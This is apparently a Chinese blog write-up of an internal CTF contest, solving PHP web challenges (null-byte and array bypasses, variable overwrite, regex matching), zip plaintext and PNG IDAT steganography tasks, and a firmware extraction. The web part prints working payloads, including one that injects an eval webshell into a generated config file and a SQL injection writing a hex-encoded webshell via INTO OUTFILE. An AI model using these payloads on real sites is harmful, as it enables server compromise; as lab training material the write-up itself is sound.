小组内部赛(04-16)WriteUp


小组内部赛(04-16)WriteUp

0X01 WEB

1.土豪才能用的机器(50分)

mark

​ 提到了MAC,第一个想到的burp抓包,改UA,不行。那这里就肯定是关于什么windows和MAC OS的差异了。后来知道了.DS_Store后缀的文件是MAC才会产生的一类文件,http://115.159.197.62:7001/.DS_Store下载下来该文件,打开就get到flag了。

这个真的是涨姿势了,第一次见。

2.必须是数字(150分)

mark

打开后除了这个没别的,首先看一下源码,发现有东西。

mark

vim,you love vim!肯定有关系。这里想到vim备份文件.swp(和上次zctf的蛤一样), .index.php.swp下下来源码看看。

mark

提到了f149.php,访问看源码,考察代码审计。

<!--
    if (isset ($_GET['flag'])) {
    if (@ereg ("^[1-9]+$", $_GET['flag']) === FALSE)
        echo 'only number is admitted';
    else if (strpos ($_GET['flag'], 'flag') !== FALSE)
        die('Flag: '.$flag);
    else
        echo 'getflag fail~';
}



-->

​ 要求提交的数据只能是数字 还得要包含flag字符串,这里利用00截断来实现。提交115.159.197.62:8008/f149.php?flag=1%00flag得到flag。不过当时用的flag[]也得到了flag。

mark

3.输入密码(150分)

​ 这个题本身不难,但是。。太套路。源码

<!DOCTYPE html>
<html>
<head>
check
</head>
<body>
please input the password
</body>
</html>
<!--

    if (isset($_GET['a'])) {  
    if (strcmp($_GET['a'], $flag) == 0)  
        die('Flag: '.$flag);  
    else  
        print 'you are close';  
    }

-->

看到strcmp()函数应该明白该干什么了(会心一笑),利用php弱类型。

strcmp()函数在PHP官方手册中的描述是int strcmp ( string $str1 , string $str2 ),需要给strcmp()传递2个string类型的参数。如果str1小于str2,返回-1,相等返回0,否则返回1。strcmp函数比较字符串的本质是将两个变量转换为ascii,然后进行减法运算,然后根据运算结果来决定返回值。

$array=[1,2,3];
var_dump(strcmp($array,'123')); //null,在某种意义上null也就是相当于false。

套路在哪呢?post的不是a[],而是password[],谁让他说了输入密码(password)呢。

mark

4.请努力的微笑(150分)

mark

​ 既然能看源码,那看看源码,如下。

<?php   
    error_reporting(0); 
    header("Content-type: text/html; charset=utf-8"); 
    if (isset($_GET['view-source'])) {  
        show_source(__FILE__);  
        exit();  
    }  

    include('flag.php');  

    $smile = 1;   

   if (!isset ($_GET['^_^'])) $smile = 0;   
    if (preg_match ('/\./', $_GET['^_^'])) $smile = 0;   
    if (preg_match ('/%/', $_GET['^_^'])) $smile = 0;   
    if (preg_match ('/[0-9]/', $_GET['^_^'])) $smile = 0;   
    if (preg_match ('/http/', $_GET['^_^']) ) $smile = 0;   
    if (preg_match ('/https/', $_GET['^_^']) ) $smile = 0;   
    if (preg_match ('/ftp/', $_GET['^_^'])) $smile = 0;   
    if (preg_match ('/telnet/', $_GET['^_^'])) $smile = 0;   
    if (preg_match ('/_/', $_SERVER['QUERY_STRING'])) $smile = 0;  
    if ($smile) {  
        if (@file_exists ($_GET['^_^'])) $smile = 0;   
    }   
    if ($smile) {  
        $smile = @file_get_contents ($_GET['^_^']);   
        if ($smile === "(~^o^~)") die($flag);   
    }   
?>   
<!doctype html>  
<html lang="en">  

<head>  
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">  
<title>Show me your smile :)</title>  
<link rel="stylesheet" href="style.css">  
</head>  

<body>  
<br><br><br><br><br><br><br>  
<div class="loginform cf">  
    <form name="login" action="index.php" method="POST" accept-charset="utf-8">  
        <ul>  
            <li>  
                <label for="SMILE">请使用微笑过关<a href="?view-source">view</a></label>  
                <input type="text" name="T_T" placeholder="where is your smile" required>  
            </li>  
            <li><input type="submit" value="Show"> </li>  
        </ul>  
    </form>  
</div>  
<div style="text-align:center;clear:both">  
</div>  
</body>  

</html> 

看一下要满足的条件:

1.参数为^_^

2.提交的数据中不能有. % [0-9] http https ftp telnet

3.^_^中的_不能出现,因为if (preg_match ('/_/', $_SERVER['QUERY_STRING'])) $smile = 0;

4.if (@file_exists ($_GET['^_^'])) $smile = 0; ,所以要满足$_GET['^_^']不存在

5.$smile不为0

6.$smile的值是(^o^)

综上,3可以用url编码替代下划线,4和其他矛盾,6要读取文件,只能写入或包含。payload:?^%5F^=data://filter/text/plain,(%7e%5eo%5e%7e),参考php支持的协议.

file_get_contents() 把文件读入一个字符串。将在参数 offset 所指定的位置开始读取长度为 maxlen 的内容。如果失败,file_get_contents() 将返回 FALSE

file_exists() 函数检查文件或目录是否存在。

如果指定的文件或目录存在则返回 true,否则返回 false。

$_SERVER[“QUERY_STRING”]

说明:查询(query)的字符串

5.泄露了点什么东西(150分)

​ 源码泄露,index.zipx下载源码。

<?php
extract($_GET);
include('flag.php');
if (!empty($dpc))
{
$combination = trim(file_get_contents($filename));
if ($dpc === $combination)
{
echo "<p>Hello:" ." $combination!?</p>";
echo "<p>Congratulation!!! flag is:" ." $flag</p>";
}
else
{
echo "<p>sorry!</p>";
}
}
?>

变量覆盖,构造payload:?dpc=1&filename=php://input,post:1.

6.php regrex(200分)

正则表达式,源码~


regrex is good~~<!--

$str = highlight_file('2.php',true);
$key='KEY{********************************}';
$IsMatch= preg_match("/key.*key.{4,7}key:\/.\/(.*key)[a-z][[:punct:]]/i", trim($_GET["id"]));
if( $IsMatch ){
  die('key: '.$str);
}


-->

payload:?id=keykeykeykeykeykeykey:/a/aakeya:]

7.信息收录(150分)

function new_addslashes($string){
    if(!is_array($string)) 
        return addslashes($string);
    foreach($string as $key => $val) 
        $string[$key] = new_addslashes($val);
    return $string;
}

$_POST = new_addslashes($_POST);
$_GET = new_addslashes($_GET);
$_REQUEST = new_addslashes($_REQUEST);
$_COOKIE = new_addslashes($_COOKIE);

$data = isset($_POST['data']) ? $_POST['data'] : '';
$user_config = "<\?php \n";
foreach($data as $key => $value){
    $key = strtoupper($key);
    $user_config .= "define($key, '$value');\n"; 
}

@file_put_contents('user_config.php', $user_config);

data的传递是用数组的形式,过滤只过滤了val的值,并没有过滤key,利用这getshell,post:

data['name','1');/*]=*/eval($_POST[a]);//

这里,$user_config .= "define($key, '$value');\n"; 这句话里,传进去的data把]注释了,然后代码就被改成了$user_config .= "define($key, '1');/*]=*/eval($_POST[a]);//);\n";,这样一句话就写入了user_config页面,菜刀连接。

mark

mark

mark

8.壁纸大全(200分)

壁纸可以下载,考虑到任意文件下载漏洞。查看下载链接得知/download.php?url=filename 可以下载文件。

  • index.php
  • display.php
  • download.php
  • config.inc.php
  • api.php
  • json

当时乱试不知道下什么。

注意一些关键的文件名。下下来后进行代码审计,突破口在api.php。

<?php
error_reporting(0);
include "json.php";
$config = include "config.inc.php";
if (isset($_GET['img_first']) and isset($_GET['img_num'])){
$img_first = $_GET['img_first'];
$img_num = $_GET['img_num'];
$conn = mysqli_connect($config['db_host'],$config['db_user'],$config
if (mysqli_connect_errno($conn)){
die("Can not connect mysql!".mysqli_connect_error());
}
$check = is_numeric($img_num) and is_numeric($img_first);
if (!$check){
$img_num = intval($img_num);
$img_first = intval($img_first);
}
 $sql = "SELECT * FROM images LIMIT $img_first,$img_num";
$result = mysqli_query($conn,$sql);
$i = 0;
while($row=mysqli_fetch_array($result,MYSQLI_ASSOC)){
$rows[$i] = $row;
$i++;
}
$json = new Services_JSON();
echo $json->encode(array('result'=>$rows));
//echo json_encode(array('result'=>$rows),JSON_UNESCAPED_SLASHES);
}else {
die("Missing parameter img_first or img_num");
}

get了2个参数,img_firstimg_num,$check =………… 对参数做了过滤,如果不为数字,转为数字。

这里涉及到运算符优先级的问题,and不如=优先级高,导致逻辑问题,只要满足img_num为数字就行。img_first就可以用它来嘿嘿嘿了。运算符优先级

一个例子说明and的优先级不同。
Watch out for the difference of priority between 'and vs &&' or '|| vs or':
<?php
$bool = true && false;
var_dump($bool); // false, that's expected

$bool = true and false;
var_dump($bool); // true, ouch!
?>
Because 'and/or' have lower priority than '=' but '||/&&' have higher.
api.php?img_num=1&img_first=0,1 UNION SELECT (select
0x3c3f706870206576616c28245f504f53545b2761275d293b3f3e into
outfile '//var//www//html//images//p0.php')

菜刀连接。

0X02 Misc

1.八十年代的歌(20分)

文件格式改为zip,打开后得到flag。

2.来夺旗啊(70分)

利用明文攻击,2个方法。

2篇资料

http://blog.csdn.net/ETF6996/article/details/54847911

https://github.com/evalsafe/TopicShare/blob/master/2015.10.10-ZIP%E6%98%8E%E6%96%87%E6%94%BB%E5%87%BB-xmsec.md

3.神秘的代码(100分)

一个图片隐写题。

给出了一串字符

789c9d940b0e80300843af04f1fe7733313196f6cd5fc874930e3ae8dc6afb673dac8e717acea7631475216abc13a3b12eafee6bc4f017cffbb44bd93b738fac5ee7cfe7ca1ae6f01adef7a41628cd32f934fa1a7666169d3943d247430caf8acf9517afbd7e8a59ad93a9abd63badb3b779e85c69a49d8ce7f57cab8954a2736436f3acb312d4ad44937ee8eeccbb9c78ba9515fe953af91fa11ee7c1fd48544734d73b292cb37cb21d0a2d1b33

根据提示IDAT,python进行zlib解压。

#! /usr/bin/env python
import zlib
import binascii
IDAT = "789c9d940b0e80300843af04f1fe7733313196f6cd5fc874930e3ae8dc6afb673dac8e717acea7631475216abc13a3b12eafee6bc4f017cffbb44bd93b738fac5ee7cfe7ca1ae6f01adef7a41628cd32f934fa1a7666169d3943d247430caf8acf9517afbd7e8a59ad93a9abd63badb3b779e85c69a49d8ce7f57cab8954a2736436f3acb312d4ad44937ee8eeccbb9c78ba9515fe953af91fa11ee7c1fd48544734d73b292cb37cb21d0a2d1b33".decode('hex')
#print IDAT
result = binascii.hexlify(zlib.decompress(IDAT))
print resul

输出的结果除了1,0还有3。

333033303330333033303330333033303330333033303330333033303330333033303330333033303330333033303330333033303330333033313331333133313331333133313330333133303330333033303331333033303331333033313331333133313331333133313330333033313330333033303330333033313330333133313330333033313331333033303331333033313330333033303330333033313330333033313330333133313331333033313330333033303331333033303331333133303331333033313330333133313331333033313330333033313330333133313331333033313330333033313330333033313330333133313330333033313330333133313331333033313330333033313330333133313331333033313330333133313331333133303330333033303330333033313330333133313331333033313330333033313330333033303330333033313330333133303330333033313330333033313330333033313330333033303330333033313330333033313331333133313331333133313330333133303331333033313330333133303331333033313331333133313331333133313330333033303330333033303330333033303330333033303330333033303331333133303331333033303330333033303330333033303330333033313331333133313330333133313330333033313330333033303331333133313331333133303331333133303330333133313330333033303330333133313331333133303330333033303331333133303331333033303331333033313330333033313331333133313330333033303330333033313331333133313331333133303331333033303331333033303330333133313330333133303330333033303330333033303331333033303330333033303331333033303330333033313330333133313330333033303330333133303331333133303330333033303331333133313331333033313330333133303330333133303331333133303331333033303331333033313331333033313330333033313331333033303330333033303331333133313330333033313330333133313331333133303330333133303331333133313330333033313331333133303330333033313330333033313330333133313330333133303330333133303331333133303331333033303330333033303331333033303330333033303331333133313331333133313331333133313331333033303330333033303331333033313330333033313330333033313330333133313330333133313331333133313331333133303331333133313331333133303330333033303330333033303330333033303330333033303330333033313330333033303331333033303331333033303330333133313330333133303330333033313331333133313331333133313330333033303330333133313330333033303331333033313330333133313331333033303330333033313330333033303330333033313330333133303330333033313330333133303331333033303330333133313331333133303330333033313330333133313331333033313330333033313331333033303331333133303331333133313331333133303330333033313330333033313330333133313331333033313330333133303330333033303331333033303331333033303330333033313331333033313330333033313330333133313331333033313330333133303331333133313330333033313331333133303331333133303330333133313330333033313330333033303330333033313330333133303330333133313330333033313331333033303331333033313331333133313330333033313331333133313331333133313330333133303330333033303330333033313331333133303330333133313330333033313330333033303330333033303330333033303330333033303330333033303330333033303330333033303330333033303330333033303330

ascii码30->0,31->1,33->3,所以全部转换成数字,转换后的数字两两成对,不是30就是31,在转换一次,就全部转换为1和0了。共729个数,是27的平方,应该是个正方形的图片,二维码吧。用python的PIL库可以完成画图。Windows要装PIL库,kali自带。

#!/usr/bin/env python
import Image
MAX = 27
pic = Image.new("RGB",(MAX, MAX))
str = "000000000000000000000000000011111110100001001011111110010000010110011001010000010010111010001001101010111010010111010010010110010111010010111010111100000010111010010000010100010010010000010011111110101010101011111110000000000000001101000000000011110110010001111101100110000111100001101001010011110000011111101001000110100000001000001000010110000101100001111010100101101001011010011000001110010111100101110011100010010110100101101000001000001111111111000001010010010110111111101111100000000000000010001001000110100011111110000110001010111000010000010100010101000111100010111010011001101111100010010111010100001001000011010010111010101110011101100110010000010100110011001011110011111110100000011100110010000000000000000000000000000"
i=0
for y in range (0,MAX):
    for x in range (0,MAX):
        if(str[i] == '1'):
            pic.putpixel([x,y],(0, 0, 0))
        else:
            pic.putpixel([x,y],(255,255,255))
        i = i+1

pic.show()
pic.save("flag.png")

得到flag。

mark

0X03 Reverse

1.固件分析(150分)

下载一个.bin的文件,binwalk打开。binwalk是一个固件分析工具。

http://www.freebuf.com/sectool/15266.html

用binwalk提取文件,打开后有一个decode.py和encodeflag文件,明白了~~

mark

mark

mark

2.


文章作者: LANVNAL
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 LANVNAL !
  目录